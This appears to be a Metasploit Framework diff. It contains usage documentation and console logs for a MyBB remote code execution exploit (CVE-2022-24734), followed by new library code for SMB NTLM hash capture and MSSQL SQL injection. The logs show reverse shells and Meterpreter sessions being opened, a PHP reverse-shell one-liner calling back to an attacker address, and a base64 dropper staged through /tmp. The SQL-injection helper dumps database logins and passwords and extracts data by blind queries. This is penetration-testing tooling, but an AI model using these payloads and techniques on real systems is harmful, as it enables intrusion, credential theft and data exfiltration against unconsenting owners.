volumes:
|
||||
- ${PWD}/mybb:/var/www/html:rw
|
||||
|
||||
nginx:
|
||||
image: nginx:mainline-alpine
|
||||
ports:
|
||||
- published: 8080
|
||||
target: 80
|
||||
volumes:
|
||||
- ${PWD}/nginx:/etc/nginx/conf.d:ro
|
||||
- ${PWD}/mybb:/var/www/html:ro
|
||||
|
||||
postgresql:
|
||||
environment:
|
||||
POSTGRES_DB: mybb
|
||||
POSTGRES_PASSWORD: changeme
|
||||
POSTGRES_USER: mybb
|
||||
image: postgres:14-alpine
|
||||
volumes:
|
||||
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
|
||||
|
||||
version: '3.8'
|
||||
```
|
||||
- Create `nginx/default.conf`
|
||||
```
|
||||
upstream mybb {
|
||||
server mybb:9000 weight=5;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
|
||||
root /var/www/html;
|
||||
index index.html index.php;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$args;
|
||||
}
|
||||
|
||||
location ~ inc/ {
|
||||
internal;
|
||||
}
|
||||
|
||||
location ~ ^/(images|cache|jscripts|uploads)/ {
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_split_path_info ^(.+\.php)(/.+)$;
|
||||
fastcgi_pass mybb;
|
||||
fastcgi_index index.php;
|
||||
include fastcgi_params;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||
}
|
||||
}
|
||||
```
|
||||
- Run `docker-compose up`.
|
||||
- Access the application at `http://127.0.0.1:8080/install` and finish the installation process.
|
||||
|
||||
### Windows with Nginx, PHP and MySQL
|
||||
- Install MySQL:
|
||||
- Follow the installation process [here](https://dev.mysql.com/doc/refman/8.0/en/windows-installation.html)
|
||||
- Install PHP:
|
||||
- Download PHP (Non Thread Safe) [here](http://windows.php.net/download/)
|
||||
- Extract everything to `C:\php`
|
||||
- run:
|
||||
```
|
||||
cd C:\php
|
||||
set PHP_FCGI_CHILDREN=5
|
||||
set PHP_FCGI_MAX_REQUESTS=500
|
||||
php-cgi.exe -b 127.0.0.1:9999
|
||||
```
|
||||
- Install Nginx:
|
||||
- Download Nginx [here](http://nginx.org/en/download.html)
|
||||
- Extract everything to `C:\nginx`
|
||||
- Set the following options to `C:\nginx\nginx.conf`
|
||||
```
|
||||
worker_processes auto;
|
||||
...
|
||||
server {
|
||||
listen 80;
|
||||
|
||||
root www;
|
||||
index index.html index.php;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$args;
|
||||
}
|
||||
|
||||
location ~ inc/ {
|
||||
internal;
|
||||
}
|
||||
|
||||
location ~ ^/(images|cache|jscripts|uploads)/ {
|
||||
access_log off;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_split_path_info ^(.+\.php)(/.+)$;
|
||||
fastcgi_pass 127.0.0.1:9999;
|
||||
fastcgi_index index.php;
|
||||
include fastcgi_params;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||
}
|
||||
}
|
||||
```
|
||||
- Run:
|
||||
```
|
||||
cd C:\nginx
|
||||
start nginx.exe
|
||||
```
|
||||
- Install MyBB
|
||||
- Follow the installation process [here](https://docs.mybb.com/1.8/install/).
|
||||
|
||||
## Verification Steps
|
||||
1. Install the application (see [Installation Steps](#installation-steps))
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/multi/http/mybb_rce_cve_2022_24734`
|
||||
1. Do: `run LHOST=<local host IP> RHOSTS=<remote host IP> USERNAME=<MyBB user> PASSWORD=<MyBB password>`
|
||||
1. You should get a shell.
|
||||
1. Try again with a different targets
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
The username of a privileged MyBB account. It must have rights to add or update setting (usually with the administrator role)
|
||||
|
||||
### PASSWORD
|
||||
|
||||
The password of the MyBB account.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows (target 0 - PHP)
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
|
||||
[*] Started reverse TCP handler on 192.168.1.44:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Sending stage (39860 bytes) to 192.168.1.215
|
||||
[*] Meterpreter session 1 opened (192.168.1.44:4444 -> 192.168.1.215:63777) at 2022-05-23 15:41:40 +0200
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DC02
|
||||
OS : Windows NT DC02 10.0 build 17763 (Windows Server 2019) AMD64
|
||||
Meterpreter : php/windows
|
||||
```
|
||||
|
||||
### Linux (target 0 - PHP)
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
|
||||
[*] Started reverse TCP handler on 192.168.0.48:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Sending stage (39860 bytes) to 192.168.0.48
|
||||
[*] Meterpreter session 2 opened (192.168.0.48:4444 -> 192.168.0.48:50029) at 2022-05-23 15:41:58 +0200
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : e087259940a8
|
||||
OS : Linux e087259940a8 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64
|
||||
Meterpreter : php/linux
|
||||
```
|
||||
|
||||
### Linux (target 1 - Unix (In-Memory))
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
|
||||
[+] php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://192.168.0.48:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
|
||||
[*] Started reverse SSL handler on 192.168.0.48:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
[*] Command shell session 3 opened (192.168.0.48:4444 -> 192.168.0.48:50151) at 2022-05-23 15:42:58 +0200
|
||||
|
||||
|
||||
ls
|
||||
backups
|
||||
inc
|
||||
index.php
|
||||
jscripts
|
||||
modules
|
||||
styles
|
||||
^C
|
||||
Abort session 3? [y/N] y
|
||||
```
|
||||
|
||||
### Linux (target 2 - linux (Dropper))
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.0.48 RHOSTS=127.0.0.1 RPORT=8080 USERNAME=msfuser PASSWORD=123456
|
||||
[*] Started reverse TCP handler on 192.168.0.48:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Generated command stager: ["echo -n f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAjPAAAASgEAAAcAAAAAEAAAagpeMdv341NDU2oCsGaJ4c2Al1towKgBE2gCABFcieFqZlhQUVeJ4UPNgIXAeRlOdD1oogAAAFhqAGoFieMxyc2AhcB5vesnsge5ABAAAInjwesMweMMsH3NgIXAeBBbieGZsmqwA82AhcB4Av/huAEAAAC7AQAAAM2A>>'/tmp/UAznK.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/jHFeb' < '/tmp/UAznK.b64' ; chmod +x '/tmp/jHFeb' ; '/tmp/jHFeb' ; rm -f '/tmp/jHFeb' ; rm -f '/tmp/UAznK.b64'"]
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (989032 bytes) to 192.168.0.48
|
||||
[*] Meterpreter session 4 opened (192.168.0.48:4444 -> 192.168.0.48:50213) at 2022-05-23 15:43:26 +0200
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
[*] Command Stager progress - 100.00% done (763/763 bytes)
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.18.0.4
|
||||
OS : (Linux 5.10.76-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
|
||||
### Windows (target 3 - Windows (In-Memory))
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
|
||||
|
||||
[*] Powershell command length: 4160
|
||||
[*] Started reverse TCP handler on 192.168.1.44:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
[*] Sending stage (175174 bytes) to 192.168.1.215
|
||||
[*] Meterpreter session 6 opened (192.168.1.44:4444 -> 192.168.1.215:59025) at 2022-05-30 15:58:01 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DC02
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MYLAB
|
||||
Logged On Users : 8
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
|
||||
### Windows (target 4 - Windows (Dropper))
|
||||
```
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > set target 5
|
||||
target => 5
|
||||
msf6 exploit(multi/http/mybb_rce_cve_2022_24734) > run Verbose=true LHOST=192.168.1.44 RHOSTS=192.168.1.215 USERNAME=msfuser PASSWORD=123456
|
||||
[*] Started reverse TCP handler on 192.168.1.44:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] MyBB forum found running at /
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Attempting login
|
||||
[+] Login successful!
|
||||
[*] Adding a malicious settings
|
||||
[*] Generated command stager: ["echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAA...
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
[*] Command Stager progress - 2.01% done (2046/101881 bytes)
|
||||
...
|
||||
[*] Command Stager progress - 98.40% done (100252/101881 bytes)
|
||||
[*] Adding a crafted configuration setting entry with the payload
|
||||
[+] Payload successfully sent
|
||||
[*] Triggering the payload execution
|
||||
[*] Sending stage (175174 bytes) to 192.168.1.215
|
||||
[*] Removing the configuration setting
|
||||
[*] Grab the delete parameters
|
||||
[*] Send the delete request
|
||||
[*] Shell incoming...
|
||||
[*] Command Stager progress - 100.00% done (101881/101881 bytes)
|
||||
[*] Meterpreter session 7 opened (192.168.1.44:4444 -> 192.168.1.215:64264) at 2022-05-23 15:45:07 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : DC02
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : MYLAB
|
||||
Logged On Users : 8
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.0"
|
||||
VERSION = "6.2.1"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with NFS
|
||||
#
|
||||
###
|
||||
module Auxiliary::Nfs
|
||||
include Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_options(
|
||||
[
|
||||
OptAddressLocal.new('LHOST', [false, 'IP to match shares against', Rex::Socket.source_address]),
|
||||
OptString.new('HOSTNAME', [false, 'Hostname to match shares against', ''])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def can_mount?(locations, mountable = true, hostname = '', lhost = '')
|
||||
# attempts to validate if we'll be able to open it or not based on:
|
||||
# 1. its a wildcard, thus we can open it
|
||||
# 2. hostname isn't blank and its in the list
|
||||
# 3. our IP is explicitly listed
|
||||
# 4. theres a CIDR notation that we're included in.
|
||||
return true unless mountable
|
||||
return true if locations.include? '*'
|
||||
return true if !hostname.blank? && locations.include?(hostname)
|
||||
return true if !lhost.empty? && locations.include?(lhost)
|
||||
|
||||
locations.each do |location|
|
||||
# if it has a subnet mask, convert it to cidr
|
||||
if %r{(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})} =~ location
|
||||
location = "#{Regexp.last_match(1)}#{Rex::Socket.addr_atoc(Regexp.last_match(2))}"
|
||||
end
|
||||
return true if Rex::Socket::RangeWalker.new(location).include?(lhost)
|
||||
# at this point we assume its a hostname, so we use Ruby's File fnmatch so that it proceses the wildcards
|
||||
# as its a quick and easy way to use glob matching for wildcards and get a boolean response
|
||||
return true if File.fnmatch(location, hostname)
|
||||
end
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -38,18 +38,20 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
combined_hash = "#{user}::#{domain}"
|
||||
|
||||
case ntlm_message.ntlm_version
|
||||
when :ntlmv1
|
||||
when :ntlmv1, :ntlm2_session
|
||||
hash_type = 'NTLMv1-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.lm_response)}:#{bin_to_hex(ntlm_message.ntlm_response)}"
|
||||
|
||||
combined_hash << ":#{client_hash}"
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
jtr_format = JTR_NTLMV1
|
||||
when :ntlmv2
|
||||
hash_type = 'NTLMv2-SSP'
|
||||
client_hash = "#{bin_to_hex(ntlm_message.ntlm_response[0...16])}:#{bin_to_hex(ntlm_message.ntlm_response[16..-1])}"
|
||||
|
||||
combined_hash << ":#{bin_to_hex(challenge)}"
|
||||
combined_hash << ":#{client_hash}"
|
||||
jtr_format = JTR_NTLMV2
|
||||
end
|
||||
|
||||
return if hash_type.nil?
|
||||
@@ -62,8 +64,6 @@ module Msf::Exploit::Remote::SMB::Server::HashCapture
|
||||
print_line "[SMB] #{hash_type} Hash : #{combined_hash}"
|
||||
print_line
|
||||
|
||||
jtr_format = ntlm_message.ntlm_version == :ntlmv1 ? JTR_NTLMV1 : JTR_NTLMV2
|
||||
|
||||
if active_db?
|
||||
origin = create_credential_origin_service(
|
||||
{
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
module Msf::Exploit::SQLi::Mssqli
|
||||
end
|
||||
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Boolean-Based Blind SQL injection support for MySQL
|
||||
#
|
||||
class Msf::Exploit::SQLi::Mssqli::BooleanBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
|
||||
include Msf::Exploit::SQLi::BooleanBasedBlindMixin
|
||||
|
||||
#
|
||||
# This method checks if the target is vulnerable to Blind boolean-based injection by checking that
|
||||
# the values returned by the bloc for some boolean queries are correct.
|
||||
#
|
||||
def test_vulnerable
|
||||
out_true = blind_request('1=1')
|
||||
out_false = blind_request('1=2')
|
||||
out_true && !out_false
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,292 @@
|
||||
# coding: ascii-8bit
|
||||
|
||||
require 'base64'
|
||||
#
|
||||
# This class represents a Microsoft SQL Server Injection object, its primary purpose is to provide the common queries
|
||||
# needed when performing SQL injection.
|
||||
# Instantiate it only if you get the query results of your SQL injection returned on the response.
|
||||
#
|
||||
module Msf::Exploit::SQLi::Mssqli
|
||||
class Common < Msf::Exploit::SQLi::Common
|
||||
#
|
||||
# Encoders supported by Microsoft SQL Server
|
||||
# Keys are MSSQL function names, values are decoding procs in Ruby
|
||||
#
|
||||
ENCODERS = {
|
||||
hex: {
|
||||
encode: 'master.dbo.fn_varbintohexstr(CAST(^DATA^ as varbinary(max)))',
|
||||
decode: proc { |data| Rex::Text.hex_to_raw(data.start_with?('0x') ? data[2..-1] : data) }
|
||||
}
|
||||
}.freeze
|
||||
|
||||
#
|
||||
# See SQLi::Common#initialize
|
||||
#
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
opts[:concat_separator] ||= ','
|
||||
if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
|
||||
# if it's a String or a Symbol, use a predefined encoder if it exists
|
||||
opts[:encoder] = opts[:encoder].downcase.intern
|
||||
opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Query the Microsoft SQL Server version
|
||||
# @return [String] The Microsoft SQL Server version in use
|
||||
#
|
||||
def version
|
||||
call_function('@@VERSION')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the current database name
|
||||
# @return [String] The name of the current database
|
||||
#
|
||||
def current_database
|
||||
call_function('DB_NAME()')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the hostname
|
||||
# @return [String] The hostname of the server running Microsoft SQL Server
|
||||
#
|
||||
def hostname
|
||||
call_function('@@SERVERNAME')
|
||||
end
|
||||
|
||||
# Query the current user
|
||||
# @return [String] The username of the current user
|
||||
#
|
||||
def current_user
|
||||
call_function('user_name()')
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of all the existing databases
|
||||
# @return [Array] An array of Strings, the database names
|
||||
#
|
||||
def enum_database_names
|
||||
dump_table_fields('master..sysdatabases', %w[name]).flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the names of the tables in a given database
|
||||
# @param database [String] the name of a database, or nil or an empty string for the current database
|
||||
# @return [Array] An array of Strings, the table names in the given database
|
||||
#
|
||||
def enum_table_names(database = '')
|
||||
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
|
||||
dump_table_fields(sysobjects_tbl, %w[name], "xtype='U'").flatten
|
||||
end
|
||||
|
||||
def enum_view_names(database = '')
|
||||
sysobjects_tbl = "#{database.nil? || database.empty? ? '' : database + '..'}sysobjects"
|
||||
dump_table_fields(sysobjects_tbl, %w[name], "xtype='V'").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the mssql users (their username and password), this might require root privileges.
|
||||
# @return [Array] an array of arrays representing rows, where each row contains two strings, the username and password
|
||||
#
|
||||
def enum_dbms_users
|
||||
# might require root privileges
|
||||
dump_table_fields('master..syslogins', %w[name password])
|
||||
end
|
||||
|
||||
#
|
||||
# Query the column names of the given table in the given database
|
||||
# @param table_name [String] the name of the table of which you want to query the column names, can be: database.table
|
||||
# @return [Array] An array of Strings, the column names in the given table belonging to the given database
|
||||
#
|
||||
def enum_table_columns(table_name)
|
||||
table_schema_condition = ''
|
||||
if table_name.include?('.')
|
||||
database, table_name = table_name.split(/\.{1,2}/)
|
||||
database += '..'
|
||||
else
|
||||
database = ''
|
||||
end
|
||||
dump_table_fields("#{database}syscolumns", %w[name],
|
||||
"id=(select id from #{database}sysobjects where name='#{table_name}')").flatten
|
||||
end
|
||||
|
||||
#
|
||||
# Query the given columns of the records of the given table, that satisfy an optional condition
|
||||
# @param table [String] The name of the table to query
|
||||
# @param columns [Array] The names of the columns to query
|
||||
# @param condition [String] An optional condition, return only the rows satisfying it
|
||||
# @param num_limit [Integer] An optional maximum number of results to return
|
||||
# @return [Array] An array, where each element is an array of strings representing a row of the results
|
||||
#
|
||||
def dump_table_fields(table, columns, condition = '', num_limit = 0)
|
||||
return '' if columns.empty?
|
||||
|
||||
columns = columns.map do |col|
|
||||
col = "cast(isnull(#{col},'#{@null_replacement}') as varchar(max))"
|
||||
@encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
|
||||
end.join("+'#{@second_concat_separator}'+")
|
||||
unless condition.empty?
|
||||
condition = ' where ' + condition
|
||||
end
|
||||
num_limit = num_limit.to_i
|
||||
limit = num_limit > 0 ? " top #{num_limit}" : ''
|
||||
retrieved_data = nil
|
||||
identifier_generator = Rex::RandomIdentifier::Generator.new
|
||||
if @safe
|
||||
# no group_concat, leak one row at a time
|
||||
count_item = 'cast(count(1) as varchar(max))'
|
||||
count_item = @encoder ? @encoder[:encode].sub(/\^DATA\^/, count_item) : count_item
|
||||
row_count = run_sql("select #{count_item} from #{table}#{condition}")
|
||||
row_count = @encoder ? @encoder[:decode].call(row_count).to_i : row_count.to_i
|
||||
num_limit = row_count if num_limit == 0 || row_count < num_limit
|
||||
# generate a random alias for every column name
|
||||
item_alias, row_alias, tab_alias = 3.times.map { identifier_generator.generate }
|
||||
retrieved_data = num_limit.times.map do |current_row|
|
||||
if @truncation_length
|
||||
truncated_query("select top(1) substring(#{item_alias},^OFFSET^,#{@truncation_length}) from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
|
||||
else
|
||||
run_sql("select top(1) #{item_alias} from (select #{columns} #{item_alias},ROW_NUMBER() over (order by (select 1)) #{row_alias} from #{table}#{condition}) #{tab_alias} where #{row_alias}=#{current_row + 1}")
|
||||
end
|
||||
end
|
||||
elsif num_limit > 0
|
||||
# if limit > 0, an alias will be necessary
|
||||
alias1, alias2 = 2.times.map { identifier_generator.generate }
|
||||
if @truncation_length
|
||||
retrieved_data = truncated_query("select substring(string_agg(#{alias1}, '#{@concat_separator}')," \
|
||||
"^OFFSET^,#{@truncation_length}) from (select #{limit}#{columns} #{alias1} from #{table}"\
|
||||
"#{condition}) #{alias2}").split(@concat_separator || ',')
|
||||
else
|
||||
retrieved_data = run_sql("select string_agg(#{alias1},'#{@concat_separator}')"\
|
||||
" from (select #{limit}#{columns} #{alias1} from #{table}#{condition}) #{alias2}").split(@concat_separator || ',')
|
||||
end
|
||||
elsif @truncation_length
|
||||
retrieved_data = truncated_query("select #{limit}substring(string_agg(#{columns},'#{@concat_separator}')," \
|
||||
"^OFFSET^,#{@truncation_length}) from #{table}#{condition}").split(@concat_separator || ',')
|
||||
else
|
||||
retrieved_data = run_sql("select #{limit}string_agg(#{columns},'#{@concat_separator}')" \
|
||||
" from #{table}#{condition}").split(@concat_separator || ',')
|
||||
end
|
||||
|
||||
retrieved_data.map do |row|
|
||||
row = row.split(@second_concat_separator)
|
||||
@encoder ? row.map { |x| @encoder[:decode].call(x) } : row
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the target is vulnerable (if the SQL injection is working fine), by checking that
|
||||
# queries that should return known results return the results we expect from them
|
||||
#
|
||||
def test_vulnerable
|
||||
random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
|
||||
random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
|
||||
run_sql("select '#{random_string}'") == random_string
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt writing data to the file at the given path
|
||||
#
|
||||
def write_to_file(fpath, data)
|
||||
run_sql("select '#{data}' into dumpfile '#{fpath}'")
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Helper method used in cases where the response is truncated.
|
||||
# @param query [String] The SQL query to execute, where ^OFFSET^ will be replaced with an integer offset for querying
|
||||
# @return [String] The query result
|
||||
#
|
||||
def truncated_query(query)
|
||||
result = [ ]
|
||||
offset = 1
|
||||
loop do
|
||||
slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
|
||||
offset += @truncation_length # should be same as @truncation_length for most cases
|
||||
result << slice
|
||||
vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
|
||||
print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
|
||||
break if slice.length < @truncation_length
|
||||
end
|
||||
result.join
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the options specific to Microsoft SQL Server (if any)
|
||||
#
|
||||
def check_opts(opts)
|
||||
unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]
|
||||
raise ArgumentError, 'Unsupported encoder'
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def call_function(function)
|
||||
function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
|
||||
output = nil
|
||||
if @truncation_length
|
||||
output = truncated_query("select substring(#{function},^OFFSET^,#{@truncation_length})")
|
||||
else
|
||||
output = run_sql("select #{function}")
|
||||
end
|
||||
output = @encoder[:decode].call(output) if @encoder
|
||||
output
|
||||
end
|
||||
|
||||
def blind_detect_length(query, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
if_function = 'if(' + if_function
|
||||
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
|
||||
end
|
||||
i = 0
|
||||
output_length = 0
|
||||
loop do
|
||||
output_bit = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)&cast(#{1 << i} as bigint)=0#{sleep_part}")
|
||||
output_length |= (1 << i) unless output_bit
|
||||
i += 1
|
||||
stop = blind_request("#{if_function}cast(datalength(cast((#{query}) as varchar(max))) as bigint)/cast(#{1 << i} as bigint)=0#{sleep_part}")
|
||||
break if stop
|
||||
end
|
||||
output_length
|
||||
end
|
||||
|
||||
def blind_dump_data(query, length, known_bits, bits_to_guess, timebased)
|
||||
if_function = ''
|
||||
sleep_part = ''
|
||||
if timebased
|
||||
if_function = 'if(' + if_function
|
||||
sleep_part += ") waitfor delay '0:0:#{datastore['SqliDelay'].to_i}'"
|
||||
end
|
||||
output = length.times.map do |j|
|
||||
current_character = known_bits
|
||||
bits_to_guess.times do |k|
|
||||
# the query below: the inner substr returns a character from the result, the outer returns a bit of it
|
||||
output_bit = blind_request("#{if_function}ascii(substring(cast((#{query}) as varchar(max)), #{j + 1}, 1))&#{1 << k}=0#{sleep_part}")
|
||||
current_character |= (1 << k) unless output_bit
|
||||
end
|
||||
current_character.chr
|
||||
end.join
|
||||
output
|
||||
end
|
||||
|
||||
#
|
||||
# Encodes strings in the query string as hexadecimal numbers
|
||||
#
|
||||
def hex_encode_strings(query)
|
||||
# for more encoding capabilities, run code at the beginning of your block
|
||||
query.gsub(/'.*?'|".*?"/) do |match|
|
||||
str = match[1..-2]
|
||||
if str.empty?
|
||||
"left(char(#{rand(0..255)}),0)"
|
||||
else
|
||||
str.each_codepoint.map { |code| "char(#{code})" }.join('+')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,17 @@
|
||||
#
|
||||
# Time-Based Blind SQL injection support for MySQL
|
||||
#
|
||||
class Msf::Exploit::SQLi::Mssqli::TimeBasedBlind < Msf::Exploit::SQLi::Mssqli::Common
|
||||
